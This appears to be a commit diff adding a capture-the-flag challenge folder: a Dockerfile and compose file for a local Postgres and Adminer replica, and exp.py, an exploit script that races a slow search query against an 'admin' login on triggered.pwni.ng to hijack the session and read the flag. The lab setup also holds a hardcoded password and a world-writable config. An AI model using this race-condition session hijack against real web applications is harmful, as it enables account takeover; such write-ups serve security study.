add web300-7

web300-7/Dockerfile

@@ -0,0 +1,7 @@
+FROM postgres
+
+
+
+COPY  ./schema.sql  /docker-entrypoint-initdb.d/
+COPY ./postgresql.conf /etc/postgresql/postgresql.conf
+RUN chmod 0777 /etc/postgresql/postgresql.conf && mkdir -p /var/lib/postgresql/data/triggered/static 

web300-7/docker-compose.yml

@@ -0,0 +1,19 @@
+version: '3'
+services:
+  db:
+    build: ./
+    restart: always
+    entrypoint:
+      - /docker-entrypoint.sh 
+      - -c 
+      - 'config_file=/etc/postgresql/postgresql.conf'
+    environment:
+      POSTGRES_PASSWORD: wonderkun 
+
+  adminer:
+    image: adminer
+    restart: always
+    ports:
+      - 7777:8080
+
+      # /var/lib/postgresql/data

web300-7/exp.py

@@ -0,0 +1,49 @@
+#!/usr/bin/python
+
+import requests
+import threading
+import time
+
+s = requests.session()
+
+def login(username):
+
+    url = "http://triggered.pwni.ng:52856/login"
+    data = {"username":username}
+
+    res = s.post(url,data=data)
+
+    print("[*] login with username")
+#     print(res.text)
+
+def login_password(password):
+    url = "http://triggered.pwni.ng:52856/login/password"
+    data = {"password":password}
+
+    res = s.post(url,data=data)
+    print("[*] login with password")
+#     print(res.text)
+
+def query(condition):
+    url = "http://triggered.pwni.ng:52856/search"
+    data = {"query":condition}
+
+    while True:
+        res = s.post(url,data=data)
+        print("[*] query a note ...")
+        if "no result" not in res.text:
+            print(res.text)
+            break
+        elif res.status_code != 200 :
+            break
+
+if __name__ == '__main__':
+
+    login("rebirth1")
+    login_password("123")
+
+    t1 = threading.Thread(target=query,args=(" \"PCTF\" or "*10+ " \"PCTF\" " ,))
+    t1.start()
+    # time.sleep(3)
+    t2 = threading.Thread(target=login,args=("admin",))
+    t2.start()